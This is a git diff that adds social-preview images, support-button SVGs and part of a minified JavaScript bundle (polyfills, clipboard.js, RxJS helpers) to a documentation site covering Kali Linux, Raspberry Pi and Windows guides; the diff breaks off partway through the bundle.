a/assets/images/social/penetration-testing/kali-linux/kali-linux.png b/assets/images/social/penetration-testing/kali-linux/kali-linux.png new file mode 100644 index 000000000..52fee81f7 Binary files /dev/null and b/assets/images/social/penetration-testing/kali-linux/kali-linux.png differ diff --git a/assets/images/social/penetration-testing/kali-linux/links.png b/assets/images/social/penetration-testing/kali-linux/links.png new file mode 100644 index 000000000..7f4f7f07b Binary files /dev/null and b/assets/images/social/penetration-testing/kali-linux/links.png differ diff --git a/assets/images/social/penetration-testing/kali-linux/metasploit.png b/assets/images/social/penetration-testing/kali-linux/metasploit.png new file mode 100644 index 000000000..fd32baf40 Binary files /dev/null and b/assets/images/social/penetration-testing/kali-linux/metasploit.png differ diff --git a/assets/images/social/penetration-testing/kali-linux/wifite.png b/assets/images/social/penetration-testing/kali-linux/wifite.png new file mode 100644 index 000000000..e780d9bba Binary files /dev/null and b/assets/images/social/penetration-testing/kali-linux/wifite.png differ diff --git a/assets/images/social/penetration-testing/proxmark/about-proxmark.png b/assets/images/social/penetration-testing/proxmark/about-proxmark.png new file mode 100644 index 000000000..e065f652a Binary files /dev/null and b/assets/images/social/penetration-testing/proxmark/about-proxmark.png differ diff --git a/assets/images/social/penetration-testing/proxmark/cheatsheet.png b/assets/images/social/penetration-testing/proxmark/cheatsheet.png new file mode 100644 index 000000000..a68dadeb6 Binary files /dev/null and b/assets/images/social/penetration-testing/proxmark/cheatsheet.png differ diff --git a/assets/images/social/penetration-testing/proxmark/mifare-tags.png b/assets/images/social/penetration-testing/proxmark/mifare-tags.png new file mode 100644 index 000000000..dfab53cb3 Binary files /dev/null and b/assets/images/social/penetration-testing/proxmark/mifare-tags.png differ diff --git a/assets/images/social/penetration-testing/utilities/clickjacking.png b/assets/images/social/penetration-testing/utilities/clickjacking.png new file mode 100644 index 000000000..f13657116 Binary files /dev/null and b/assets/images/social/penetration-testing/utilities/clickjacking.png differ diff --git a/assets/images/social/penetration-testing/utilities/idd-generator.png b/assets/images/social/penetration-testing/utilities/idd-generator.png new file mode 100644 index 000000000..117d1cf1a Binary files /dev/null and b/assets/images/social/penetration-testing/utilities/idd-generator.png differ diff --git a/assets/images/social/raspberry-pi/docker-raspberrypi.png b/assets/images/social/raspberry-pi/docker-raspberrypi.png new file mode 100644 index 000000000..7693b4c29 Binary files /dev/null and b/assets/images/social/raspberry-pi/docker-raspberrypi.png differ diff --git a/assets/images/social/raspberry-pi/external-power-button.png b/assets/images/social/raspberry-pi/external-power-button.png new file mode 100644 index 000000000..7b94b53af Binary files /dev/null and b/assets/images/social/raspberry-pi/external-power-button.png differ diff --git a/assets/images/social/raspberry-pi/guides/3g-modem-host.png b/assets/images/social/raspberry-pi/guides/3g-modem-host.png new file mode 100644 index 000000000..c3bb11022 Binary files /dev/null and b/assets/images/social/raspberry-pi/guides/3g-modem-host.png differ diff --git a/assets/images/social/raspberry-pi/motion-sensor-display-control.png b/assets/images/social/raspberry-pi/motion-sensor-display-control.png new file mode 100644 index 000000000..393668ada Binary files /dev/null and b/assets/images/social/raspberry-pi/motion-sensor-display-control.png differ diff --git a/assets/images/social/raspberry-pi/projects/magic-mirror-v2.png b/assets/images/social/raspberry-pi/projects/magic-mirror-v2.png new file mode 100644 index 000000000..adcf5b20d Binary files /dev/null and b/assets/images/social/raspberry-pi/projects/magic-mirror-v2.png differ diff --git a/assets/images/social/raspberry-pi/projects/magic-mirror.png b/assets/images/social/raspberry-pi/projects/magic-mirror.png new file mode 100644 index 000000000..a96d0c7c5 Binary files /dev/null and b/assets/images/social/raspberry-pi/projects/magic-mirror.png differ diff --git a/assets/images/social/raspberry-pi/snippets.png b/assets/images/social/raspberry-pi/snippets.png new file mode 100644 index 000000000..b2c294ca4 Binary files /dev/null and b/assets/images/social/raspberry-pi/snippets.png differ diff --git a/assets/images/social/tags.png b/assets/images/social/tags.png new file mode 100644 index 000000000..dec449875 Binary files /dev/null and b/assets/images/social/tags.png differ diff --git a/assets/images/social/utilities/browsers-extensions/chrome.png b/assets/images/social/utilities/browsers-extensions/chrome.png new file mode 100644 index 000000000..9f8ca4a5e Binary files /dev/null and b/assets/images/social/utilities/browsers-extensions/chrome.png differ diff --git a/assets/images/social/utilities/browsers-extensions/firefox.png b/assets/images/social/utilities/browsers-extensions/firefox.png new file mode 100644 index 000000000..8b070436d Binary files /dev/null and b/assets/images/social/utilities/browsers-extensions/firefox.png differ diff --git a/assets/images/social/utilities/htpasswd-generator.png b/assets/images/social/utilities/htpasswd-generator.png new file mode 100644 index 000000000..cff83e099 Binary files /dev/null and b/assets/images/social/utilities/htpasswd-generator.png differ diff --git a/assets/images/social/utilities/markdown-cheatsheet/about.png b/assets/images/social/utilities/markdown-cheatsheet/about.png new file mode 100644 index 000000000..84b0f83c3 Binary files /dev/null and b/assets/images/social/utilities/markdown-cheatsheet/about.png differ diff --git a/assets/images/social/utilities/markdown-cheatsheet/admonition.png b/assets/images/social/utilities/markdown-cheatsheet/admonition.png new file mode 100644 index 000000000..cf05e6f9b Binary files /dev/null and b/assets/images/social/utilities/markdown-cheatsheet/admonition.png differ diff --git a/assets/images/social/utilities/markdown-cheatsheet/awesome-pages.png b/assets/images/social/utilities/markdown-cheatsheet/awesome-pages.png new file mode 100644 index 000000000..c276f9991 Binary files /dev/null and b/assets/images/social/utilities/markdown-cheatsheet/awesome-pages.png differ diff --git a/assets/images/social/utilities/markdown-cheatsheet/basic-formatting.png b/assets/images/social/utilities/markdown-cheatsheet/basic-formatting.png new file mode 100644 index 000000000..7329c4b2f Binary files /dev/null and b/assets/images/social/utilities/markdown-cheatsheet/basic-formatting.png differ diff --git a/assets/images/social/utilities/markdown-cheatsheet/code-blocks.png b/assets/images/social/utilities/markdown-cheatsheet/code-blocks.png new file mode 100644 index 000000000..ebeff9555 Binary files /dev/null and b/assets/images/social/utilities/markdown-cheatsheet/code-blocks.png differ diff --git a/assets/images/social/utilities/markdown-cheatsheet/content-tabs.png b/assets/images/social/utilities/markdown-cheatsheet/content-tabs.png new file mode 100644 index 000000000..29eb63386 Binary files /dev/null and b/assets/images/social/utilities/markdown-cheatsheet/content-tabs.png differ diff --git a/assets/images/social/utilities/markdown-cheatsheet/diagrams.png b/assets/images/social/utilities/markdown-cheatsheet/diagrams.png new file mode 100644 index 000000000..25cf837b5 Binary files /dev/null and b/assets/images/social/utilities/markdown-cheatsheet/diagrams.png differ diff --git a/assets/images/social/utilities/markdown-cheatsheet/external-markdown.png b/assets/images/social/utilities/markdown-cheatsheet/external-markdown.png new file mode 100644 index 000000000..99f568195 Binary files /dev/null and b/assets/images/social/utilities/markdown-cheatsheet/external-markdown.png differ diff --git a/assets/images/social/utilities/markdown-cheatsheet/icons.png b/assets/images/social/utilities/markdown-cheatsheet/icons.png new file mode 100644 index 000000000..554e3ef67 Binary files /dev/null and b/assets/images/social/utilities/markdown-cheatsheet/icons.png differ diff --git a/assets/images/social/utilities/markdown-cheatsheet/images.png b/assets/images/social/utilities/markdown-cheatsheet/images.png new file mode 100644 index 000000000..c20682347 Binary files /dev/null and b/assets/images/social/utilities/markdown-cheatsheet/images.png differ diff --git a/assets/images/social/utilities/markdown-cheatsheet/links.png b/assets/images/social/utilities/markdown-cheatsheet/links.png new file mode 100644 index 000000000..c85d60978 Binary files /dev/null and b/assets/images/social/utilities/markdown-cheatsheet/links.png differ diff --git a/assets/images/social/utilities/markdown-cheatsheet/tables-lists-quotes.png b/assets/images/social/utilities/markdown-cheatsheet/tables-lists-quotes.png new file mode 100644 index 000000000..19c6af7c4 Binary files /dev/null and b/assets/images/social/utilities/markdown-cheatsheet/tables-lists-quotes.png differ diff --git a/assets/images/social/utilities/useful-links-tools.png b/assets/images/social/utilities/useful-links-tools.png new file mode 100644 index 000000000..c8145aabf Binary files /dev/null and b/assets/images/social/utilities/useful-links-tools.png differ diff --git a/assets/images/social/utilities/wifiQrGenerator.png b/assets/images/social/utilities/wifiQrGenerator.png new file mode 100644 index 000000000..46a3ba69e Binary files /dev/null and b/assets/images/social/utilities/wifiQrGenerator.png differ diff --git a/assets/images/social/windows/guides/declare-locations.png b/assets/images/social/windows/guides/declare-locations.png new file mode 100644 index 000000000..78667de71 Binary files /dev/null and b/assets/images/social/windows/guides/declare-locations.png differ diff --git a/assets/images/social/windows/guides/email-from-task-scheduler.png b/assets/images/social/windows/guides/email-from-task-scheduler.png new file mode 100644 index 000000000..aff0c5829 Binary files /dev/null and b/assets/images/social/windows/guides/email-from-task-scheduler.png differ diff --git a/assets/images/social/windows/ssh-server.png b/assets/images/social/windows/ssh-server.png new file mode 100644 index 000000000..e66c8551c Binary files /dev/null and b/assets/images/social/windows/ssh-server.png differ diff --git a/assets/images/social/windows/useful-software.png b/assets/images/social/windows/useful-software.png new file mode 100644 index 000000000..20c0b345b Binary files /dev/null and b/assets/images/social/windows/useful-software.png differ diff --git a/assets/images/social/windows/windows-servers.png b/assets/images/social/windows/windows-servers.png new file mode 100644 index 000000000..40b68f054 Binary files /dev/null and b/assets/images/social/windows/windows-servers.png differ diff --git a/assets/images/social/windows/windows-ssh-agent-with-keys.png b/assets/images/social/windows/windows-ssh-agent-with-keys.png new file mode 100644 index 000000000..0d298fac4 Binary files /dev/null and b/assets/images/social/windows/windows-ssh-agent-with-keys.png differ diff --git a/assets/images/social/windows/windows-tweaks.png b/assets/images/social/windows/windows-tweaks.png new file mode 100644 index 000000000..d8957b36c Binary files /dev/null and b/assets/images/social/windows/windows-tweaks.png differ diff --git a/assets/images/support/buymeacoffee.svg b/assets/images/support/buymeacoffee.svg new file mode 100644 index 000000000..895be0cad --- /dev/null +++ b/assets/images/support/buymeacoffee.svg @@ -0,0 +1,10 @@ + + New Project + + + + + + \ No newline at end of file diff --git a/assets/images/support/github-sponsers.svg b/assets/images/support/github-sponsers.svg new file mode 100644 index 000000000..5a252239a --- /dev/null +++ b/assets/images/support/github-sponsers.svg @@ -0,0 +1,8 @@ + + + Layer 1 + + + + + \ No newline at end of file diff --git a/assets/images/support/patreon.svg b/assets/images/support/patreon.svg new file mode 100644 index 000000000..6658a1d85 --- /dev/null +++ b/assets/images/support/patreon.svg @@ -0,0 +1,15 @@ + + New Project + + + + + + + + + + + \ No newline at end of file diff --git a/assets/images/support/paypal.svg b/assets/images/support/paypal.svg new file mode 100644 index 000000000..4922329c8 --- /dev/null +++ b/assets/images/support/paypal.svg @@ -0,0 +1,11 @@ + + New Project + + + + + + + \ No newline at end of file diff --git a/assets/images/windows/2018-10-21_09-23-36_usersAccounts.png b/assets/images/windows/2018-10-21_09-23-36_usersAccounts.png new file mode 100644 index 000000000..8c416a328 Binary files /dev/null and b/assets/images/windows/2018-10-21_09-23-36_usersAccounts.png differ diff --git a/assets/images/windows/2018-10-21_09-24-24_runNetplwiz.png b/assets/images/windows/2018-10-21_09-24-24_runNetplwiz.png new file mode 100644 index 000000000..bbec84c32 Binary files /dev/null and b/assets/images/windows/2018-10-21_09-24-24_runNetplwiz.png differ diff --git a/assets/images/windows/2018-10-21_09-52-21_runStartup.png b/assets/images/windows/2018-10-21_09-52-21_runStartup.png new file mode 100644 index 000000000..2be4b8f51 Binary files /dev/null and b/assets/images/windows/2018-10-21_09-52-21_runStartup.png differ diff --git a/assets/images/windows/send-email/send-email1.png b/assets/images/windows/send-email/send-email1.png new file mode 100644 index 000000000..67ed538ad Binary files /dev/null and b/assets/images/windows/send-email/send-email1.png differ diff --git a/assets/images/windows/send-email/send-email2.png b/assets/images/windows/send-email/send-email2.png new file mode 100644 index 000000000..6c7a62987 Binary files /dev/null and b/assets/images/windows/send-email/send-email2.png differ diff --git a/assets/images/windows/send-email/send-email3.png b/assets/images/windows/send-email/send-email3.png new file mode 100644 index 000000000..70b889900 Binary files /dev/null and b/assets/images/windows/send-email/send-email3.png differ diff --git a/assets/images/windows/send-email/send-email4.png b/assets/images/windows/send-email/send-email4.png new file mode 100644 index 000000000..80b7081f0 Binary files /dev/null and b/assets/images/windows/send-email/send-email4.png differ diff --git a/assets/javascripts/bundle.b425cdc4.min.js b/assets/javascripts/bundle.b425cdc4.min.js new file mode 100644 index 000000000..201e52356 --- /dev/null +++ b/assets/javascripts/bundle.b425cdc4.min.js @@ -0,0 +1,29 @@ +"use strict";(()=>{var Ci=Object.create;var gr=Object.defineProperty;var Ri=Object.getOwnPropertyDescriptor;var ki=Object.getOwnPropertyNames,Ht=Object.getOwnPropertySymbols,Hi=Object.getPrototypeOf,yr=Object.prototype.hasOwnProperty,nn=Object.prototype.propertyIsEnumerable;var rn=(e,t,r)=>t in e?gr(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,P=(e,t)=>{for(var r in t||(t={}))yr.call(t,r)&&rn(e,r,t[r]);if(Ht)for(var r of Ht(t))nn.call(t,r)&&rn(e,r,t[r]);return e};var on=(e,t)=>{var r={};for(var n in e)yr.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&Ht)for(var n of Ht(e))t.indexOf(n)<0&&nn.call(e,n)&&(r[n]=e[n]);return r};var Pt=(e,t)=>()=>(t||e((t={exports:{}}).exports,t),t.exports);var Pi=(e,t,r,n)=>{if(t&&typeof t=="object"||typeof t=="function")for(let o of ki(t))!yr.call(e,o)&&o!==r&&gr(e,o,{get:()=>t[o],enumerable:!(n=Ri(t,o))||n.enumerable});return e};var yt=(e,t,r)=>(r=e!=null?Ci(Hi(e)):{},Pi(t||!e||!e.__esModule?gr(r,"default",{value:e,enumerable:!0}):r,e));var sn=Pt((xr,an)=>{(function(e,t){typeof xr=="object"&&typeof an!="undefined"?t():typeof define=="function"&&define.amd?define(t):t()})(xr,function(){"use strict";function e(r){var n=!0,o=!1,i=null,s={text:!0,search:!0,url:!0,tel:!0,email:!0,password:!0,number:!0,date:!0,month:!0,week:!0,time:!0,datetime:!0,"datetime-local":!0};function a(O){return!!(O&&O!==document&&O.nodeName!=="HTML"&&O.nodeName!=="BODY"&&"classList"in O&&"contains"in O.classList)}function f(O){var Qe=O.type,De=O.tagName;return!!(De==="INPUT"&&s[Qe]&&!O.readOnly||De==="TEXTAREA"&&!O.readOnly||O.isContentEditable)}function c(O){O.classList.contains("focus-visible")||(O.classList.add("focus-visible"),O.setAttribute("data-focus-visible-added",""))}function u(O){O.hasAttribute("data-focus-visible-added")&&(O.classList.remove("focus-visible"),O.removeAttribute("data-focus-visible-added"))}function p(O){O.metaKey||O.altKey||O.ctrlKey||(a(r.activeElement)&&c(r.activeElement),n=!0)}function m(O){n=!1}function d(O){a(O.target)&&(n||f(O.target))&&c(O.target)}function h(O){a(O.target)&&(O.target.classList.contains("focus-visible")||O.target.hasAttribute("data-focus-visible-added"))&&(o=!0,window.clearTimeout(i),i=window.setTimeout(function(){o=!1},100),u(O.target))}function v(O){document.visibilityState==="hidden"&&(o&&(n=!0),Y())}function Y(){document.addEventListener("mousemove",N),document.addEventListener("mousedown",N),document.addEventListener("mouseup",N),document.addEventListener("pointermove",N),document.addEventListener("pointerdown",N),document.addEventListener("pointerup",N),document.addEventListener("touchmove",N),document.addEventListener("touchstart",N),document.addEventListener("touchend",N)}function B(){document.removeEventListener("mousemove",N),document.removeEventListener("mousedown",N),document.removeEventListener("mouseup",N),document.removeEventListener("pointermove",N),document.removeEventListener("pointerdown",N),document.removeEventListener("pointerup",N),document.removeEventListener("touchmove",N),document.removeEventListener("touchstart",N),document.removeEventListener("touchend",N)}function N(O){O.target.nodeName&&O.target.nodeName.toLowerCase()==="html"||(n=!1,B())}document.addEventListener("keydown",p,!0),document.addEventListener("mousedown",m,!0),document.addEventListener("pointerdown",m,!0),document.addEventListener("touchstart",m,!0),document.addEventListener("visibilitychange",v,!0),Y(),r.addEventListener("focus",d,!0),r.addEventListener("blur",h,!0),r.nodeType===Node.DOCUMENT_FRAGMENT_NODE&&r.host?r.host.setAttribute("data-js-focus-visible",""):r.nodeType===Node.DOCUMENT_NODE&&(document.documentElement.classList.add("js-focus-visible"),document.documentElement.setAttribute("data-js-focus-visible",""))}if(typeof window!="undefined"&&typeof document!="undefined"){window.applyFocusVisiblePolyfill=e;var t;try{t=new CustomEvent("focus-visible-polyfill-ready")}catch(r){t=document.createEvent("CustomEvent"),t.initCustomEvent("focus-visible-polyfill-ready",!1,!1,{})}window.dispatchEvent(t)}typeof document!="undefined"&&e(document)})});var cn=Pt(Er=>{(function(e){var t=function(){try{return!!Symbol.iterator}catch(c){return!1}},r=t(),n=function(c){var u={next:function(){var p=c.shift();return{done:p===void 0,value:p}}};return r&&(u[Symbol.iterator]=function(){return u}),u},o=function(c){return encodeURIComponent(c).replace(/%20/g,"+")},i=function(c){return decodeURIComponent(String(c).replace(/\+/g," "))},s=function(){var c=function(p){Object.defineProperty(this,"_entries",{writable:!0,value:{}});var m=typeof p;if(m!=="undefined")if(m==="string")p!==""&&this._fromString(p);else if(p instanceof c){var d=this;p.forEach(function(B,N){d.append(N,B)})}else if(p!==null&&m==="object")if(Object.prototype.toString.call(p)==="[object Array]")for(var h=0;hd[0]?1:0}),c._entries&&(c._entries={});for(var p=0;p1?i(d[1]):"")}})})(typeof global!="undefined"?global:typeof window!="undefined"?window:typeof self!="undefined"?self:Er);(function(e){var t=function(){try{var o=new e.URL("b","http://a");return o.pathname="c d",o.href==="http://a/c%20d"&&o.searchParams}catch(i){return!1}},r=function(){var o=e.URL,i=function(f,c){typeof f!="string"&&(f=String(f)),c&&typeof c!="string"&&(c=String(c));var u=document,p;if(c&&(e.location===void 0||c!==e.location.href)){c=c.toLowerCase(),u=document.implementation.createHTMLDocument(""),p=u.createElement("base"),p.href=c,u.head.appendChild(p);try{if(p.href.indexOf(c)!==0)throw new Error(p.href)}catch(O){throw new Error("URL unable to set base "+c+" due to "+O)}}var m=u.createElement("a");m.href=f,p&&(u.body.appendChild(m),m.href=m.href);var d=u.createElement("input");if(d.type="url",d.value=f,m.protocol===":"||!/:/.test(m.href)||!d.checkValidity()&&!c)throw new TypeError("Invalid URL");Object.defineProperty(this,"_anchorElement",{value:m});var h=new e.URLSearchParams(this.search),v=!0,Y=!0,B=this;["append","delete","set"].forEach(function(O){var Qe=h[O];h[O]=function(){Qe.apply(h,arguments),v&&(Y=!1,B.search=h.toString(),Y=!0)}}),Object.defineProperty(this,"searchParams",{value:h,enumerable:!0});var N=void 0;Object.defineProperty(this,"_updateSearchParams",{enumerable:!1,configurable:!1,writable:!1,value:function(){this.search!==N&&(N=this.search,Y&&(v=!1,this.searchParams._fromString(this.search),v=!0))}})},s=i.prototype,a=function(f){Object.defineProperty(s,f,{get:function(){return this._anchorElement[f]},set:function(c){this._anchorElement[f]=c},enumerable:!0})};["hash","host","hostname","port","protocol"].forEach(function(f){a(f)}),Object.defineProperty(s,"search",{get:function(){return this._anchorElement.search},set:function(f){this._anchorElement.search=f,this._updateSearchParams()},enumerable:!0}),Object.defineProperties(s,{toString:{get:function(){var f=this;return function(){return f.href}}},href:{get:function(){return this._anchorElement.href.replace(/\?$/,"")},set:function(f){this._anchorElement.href=f,this._updateSearchParams()},enumerable:!0},pathname:{get:function(){return this._anchorElement.pathname.replace(/(^\/?)/,"/")},set:function(f){this._anchorElement.pathname=f},enumerable:!0},origin:{get:function(){var f={"http:":80,"https:":443,"ftp:":21}[this._anchorElement.protocol],c=this._anchorElement.port!=f&&this._anchorElement.port!=="";return this._anchorElement.protocol+"//"+this._anchorElement.hostname+(c?":"+this._anchorElement.port:"")},enumerable:!0},password:{get:function(){return""},set:function(f){},enumerable:!0},username:{get:function(){return""},set:function(f){},enumerable:!0}}),i.createObjectURL=function(f){return o.createObjectURL.apply(o,arguments)},i.revokeObjectURL=function(f){return o.revokeObjectURL.apply(o,arguments)},e.URL=i};if(t()||r(),e.location!==void 0&&!("origin"in e.location)){var n=function(){return e.location.protocol+"//"+e.location.hostname+(e.location.port?":"+e.location.port:"")};try{Object.defineProperty(e.location,"origin",{get:n,enumerable:!0})}catch(o){setInterval(function(){e.location.origin=n()},100)}}})(typeof global!="undefined"?global:typeof window!="undefined"?window:typeof self!="undefined"?self:Er)});var qr=Pt((Mt,Nr)=>{/*! + * clipboard.js v2.0.11 + * https://clipboardjs.com/ + * + * Licensed MIT © Zeno Rocha + */(function(t,r){typeof Mt=="object"&&typeof Nr=="object"?Nr.exports=r():typeof define=="function"&&define.amd?define([],r):typeof Mt=="object"?Mt.ClipboardJS=r():t.ClipboardJS=r()})(Mt,function(){return function(){var e={686:function(n,o,i){"use strict";i.d(o,{default:function(){return Ai}});var s=i(279),a=i.n(s),f=i(370),c=i.n(f),u=i(817),p=i.n(u);function m(j){try{return document.execCommand(j)}catch(T){return!1}}var d=function(T){var E=p()(T);return m("cut"),E},h=d;function v(j){var T=document.documentElement.getAttribute("dir")==="rtl",E=document.createElement("textarea");E.style.fontSize="12pt",E.style.border="0",E.style.padding="0",E.style.margin="0",E.style.position="absolute",E.style[T?"right":"left"]="-9999px";var H=window.pageYOffset||document.documentElement.scrollTop;return E.style.top="".concat(H,"px"),E.setAttribute("readonly",""),E.value=j,E}var Y=function(T,E){var H=v(T);E.container.appendChild(H);var I=p()(H);return m("copy"),H.remove(),I},B=function(T){var E=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{container:document.body},H="";return typeof T=="string"?H=Y(T,E):T instanceof HTMLInputElement&&!["text","search","url","tel","password"].includes(T==null?void 0:T.type)?H=Y(T.value,E):(H=p()(T),m("copy")),H},N=B;function O(j){"@babel/helpers - typeof";return typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?O=function(E){return typeof E}:O=function(E){return E&&typeof Symbol=="function"&&E.constructor===Symbol&&E!==Symbol.prototype?"symbol":typeof E},O(j)}var Qe=function(){var T=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{},E=T.action,H=E===void 0?"copy":E,I=T.container,q=T.target,Me=T.text;if(H!=="copy"&&H!=="cut")throw new Error('Invalid "action" value, use either "copy" or "cut"');if(q!==void 0)if(q&&O(q)==="object"&&q.nodeType===1){if(H==="copy"&&q.hasAttribute("disabled"))throw new Error('Invalid "target" attribute. Please use "readonly" instead of "disabled" attribute');if(H==="cut"&&(q.hasAttribute("readonly")||q.hasAttribute("disabled")))throw new Error(`Invalid "target" attribute. You can't cut text from elements with "readonly" or "disabled" attributes`)}else throw new Error('Invalid "target" value, use a valid Element');if(Me)return N(Me,{container:I});if(q)return H==="cut"?h(q):N(q,{container:I})},De=Qe;function $e(j){"@babel/helpers - typeof";return typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?$e=function(E){return typeof E}:$e=function(E){return E&&typeof Symbol=="function"&&E.constructor===Symbol&&E!==Symbol.prototype?"symbol":typeof E},$e(j)}function Ei(j,T){if(!(j instanceof T))throw new TypeError("Cannot call a class as a function")}function tn(j,T){for(var E=0;E0&&arguments[0]!==void 0?arguments[0]:{};this.action=typeof I.action=="function"?I.action:this.defaultAction,this.target=typeof I.target=="function"?I.target:this.defaultTarget,this.text=typeof I.text=="function"?I.text:this.defaultText,this.container=$e(I.container)==="object"?I.container:document.body}},{key:"listenClick",value:function(I){var q=this;this.listener=c()(I,"click",function(Me){return q.onClick(Me)})}},{key:"onClick",value:function(I){var q=I.delegateTarget||I.currentTarget,Me=this.action(q)||"copy",kt=De({action:Me,container:this.container,target:this.target(q),text:this.text(q)});this.emit(kt?"success":"error",{action:Me,text:kt,trigger:q,clearSelection:function(){q&&q.focus(),window.getSelection().removeAllRanges()}})}},{key:"defaultAction",value:function(I){return vr("action",I)}},{key:"defaultTarget",value:function(I){var q=vr("target",I);if(q)return document.querySelector(q)}},{key:"defaultText",value:function(I){return vr("text",I)}},{key:"destroy",value:function(){this.listener.destroy()}}],[{key:"copy",value:function(I){var q=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{container:document.body};return N(I,q)}},{key:"cut",value:function(I){return h(I)}},{key:"isSupported",value:function(){var I=arguments.length>0&&arguments[0]!==void 0?arguments[0]:["copy","cut"],q=typeof I=="string"?[I]:I,Me=!!document.queryCommandSupported;return q.forEach(function(kt){Me=Me&&!!document.queryCommandSupported(kt)}),Me}}]),E}(a()),Ai=Li},828:function(n){var o=9;if(typeof Element!="undefined"&&!Element.prototype.matches){var i=Element.prototype;i.matches=i.matchesSelector||i.mozMatchesSelector||i.msMatchesSelector||i.oMatchesSelector||i.webkitMatchesSelector}function s(a,f){for(;a&&a.nodeType!==o;){if(typeof a.matches=="function"&&a.matches(f))return a;a=a.parentNode}}n.exports=s},438:function(n,o,i){var s=i(828);function a(u,p,m,d,h){var v=c.apply(this,arguments);return u.addEventListener(m,v,h),{destroy:function(){u.removeEventListener(m,v,h)}}}function f(u,p,m,d,h){return typeof u.addEventListener=="function"?a.apply(null,arguments):typeof m=="function"?a.bind(null,document).apply(null,arguments):(typeof u=="string"&&(u=document.querySelectorAll(u)),Array.prototype.map.call(u,function(v){return a(v,p,m,d,h)}))}function c(u,p,m,d){return function(h){h.delegateTarget=s(h.target,p),h.delegateTarget&&d.call(u,h)}}n.exports=f},879:function(n,o){o.node=function(i){return i!==void 0&&i instanceof HTMLElement&&i.nodeType===1},o.nodeList=function(i){var s=Object.prototype.toString.call(i);return i!==void 0&&(s==="[object NodeList]"||s==="[object HTMLCollection]")&&"length"in i&&(i.length===0||o.node(i[0]))},o.string=function(i){return typeof i=="string"||i instanceof String},o.fn=function(i){var s=Object.prototype.toString.call(i);return s==="[object Function]"}},370:function(n,o,i){var s=i(879),a=i(438);function f(m,d,h){if(!m&&!d&&!h)throw new Error("Missing required arguments");if(!s.string(d))throw new TypeError("Second argument must be a String");if(!s.fn(h))throw new TypeError("Third argument must be a Function");if(s.node(m))return c(m,d,h);if(s.nodeList(m))return u(m,d,h);if(s.string(m))return p(m,d,h);throw new TypeError("First argument must be a String, HTMLElement, HTMLCollection, or NodeList")}function c(m,d,h){return m.addEventListener(d,h),{destroy:function(){m.removeEventListener(d,h)}}}function u(m,d,h){return Array.prototype.forEach.call(m,function(v){v.addEventListener(d,h)}),{destroy:function(){Array.prototype.forEach.call(m,function(v){v.removeEventListener(d,h)})}}}function p(m,d,h){return a(document.body,m,d,h)}n.exports=f},817:function(n){function o(i){var s;if(i.nodeName==="SELECT")i.focus(),s=i.value;else if(i.nodeName==="INPUT"||i.nodeName==="TEXTAREA"){var a=i.hasAttribute("readonly");a||i.setAttribute("readonly",""),i.select(),i.setSelectionRange(0,i.value.length),a||i.removeAttribute("readonly"),s=i.value}else{i.hasAttribute("contenteditable")&&i.focus();var f=window.getSelection(),c=document.createRange();c.selectNodeContents(i),f.removeAllRanges(),f.addRange(c),s=f.toString()}return s}n.exports=o},279:function(n){function o(){}o.prototype={on:function(i,s,a){var f=this.e||(this.e={});return(f[i]||(f[i]=[])).push({fn:s,ctx:a}),this},once:function(i,s,a){var f=this;function c(){f.off(i,c),s.apply(a,arguments)}return c._=s,this.on(i,c,a)},emit:function(i){var s=[].slice.call(arguments,1),a=((this.e||(this.e={}))[i]||[]).slice(),f=0,c=a.length;for(f;f{"use strict";/*! + * escape-html + * Copyright(c) 2012-2013 TJ Holowaychuk + * Copyright(c) 2015 Andreas Lubbe + * Copyright(c) 2015 Tiancheng "Timothy" Gu + * MIT Licensed + */var rs=/["'&<>]/;Yo.exports=ns;function ns(e){var t=""+e,r=rs.exec(t);if(!r)return t;var n,o="",i=0,s=0;for(i=r.index;i0&&i[i.length-1])&&(c[0]===6||c[0]===2)){r=0;continue}if(c[0]===3&&(!i||c[1]>i[0]&&c[1]=e.length&&(e=void 0),{value:e&&e[n++],done:!e}}};throw new TypeError(t?"Object is not iterable.":"Symbol.iterator is not defined.")}function W(e,t){var r=typeof Symbol=="function"&&e[Symbol.iterator];if(!r)return e;var n=r.call(e),o,i=[],s;try{for(;(t===void 0||t-- >0)&&!(o=n.next()).done;)i.push(o.value)}catch(a){s={error:a}}finally{try{o&&!o.done&&(r=n.return)&&r.call(n)}finally{if(s)throw s.error}}return i}function D(e,t,r){if(r||arguments.length===2)for(var n=0,o=t.length,i;n1||a(m,d)})})}function a(m,d){try{f(n[m](d))}catch(h){p(i[0][3],h)}}function f(m){m.value instanceof et?Promise.resolve(m.value.v).then(c,u):p(i[0][2],m)}function c(m){a("next",m)}function u(m){a("throw",m)}function p(m,d){m(d),i.shift(),i.length&&a(i[0][0],i[0][1])}}function pn(e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var t=e[Symbol.asyncIterator],r;return t?t.call(e):(e=typeof Ee=="function"?Ee(e):e[Symbol.iterator](),r={},n("next"),n("throw"),n("return"),r[Symbol.asyncIterator]=function(){return this},r);function n(i){r[i]=e[i]&&function(s){return new Promise(function(a,f){s=e[i](s),o(a,f,s.done,s.value)})}}function o(i,s,a,f){Promise.resolve(f).then(function(c){i({value:c,done:a})},s)}}function C(e){return typeof e=="function"}function at(e){var t=function(n){Error.call(n),n.stack=new Error().stack},r=e(t);return r.prototype=Object.create(Error.prototype),r.prototype.constructor=r,r}var It=at(function(e){return function(r){e(this),this.message=r?r.length+` errors occurred during unsubscription: +`+r.map(function(n,o){return o+1+") "+n.toString()}).join(` + `):"",this.name="UnsubscriptionError",this.errors=r}});function Ve(e,t){if(e){var r=e.indexOf(t);0<=r&&e.splice(r,1)}}var Ie=function(){function e(t){this.initialTeardown=t,this.closed=!1,this._parentage=null,this._finalizers=null}return e.prototype.unsubscribe=function(){var t,r,n,o,i;if(!this.closed){this.closed=!0;var s=this._parentage;if(s)if(this._parentage=null,Array.isArray(s))try{for(var a=Ee(s),f=a.next();!f.done;f=a.next()){var c=f.value;c.remove(this)}}catch(v){t={error:v}}finally{try{f&&!f.done&&(r=a.return)&&r.call(a)}finally{if(t)throw t.error}}else s.remove(this);var u=this.initialTeardown;if(C(u))try{u()}catch(v){i=v instanceof It?v.errors:[v]}var 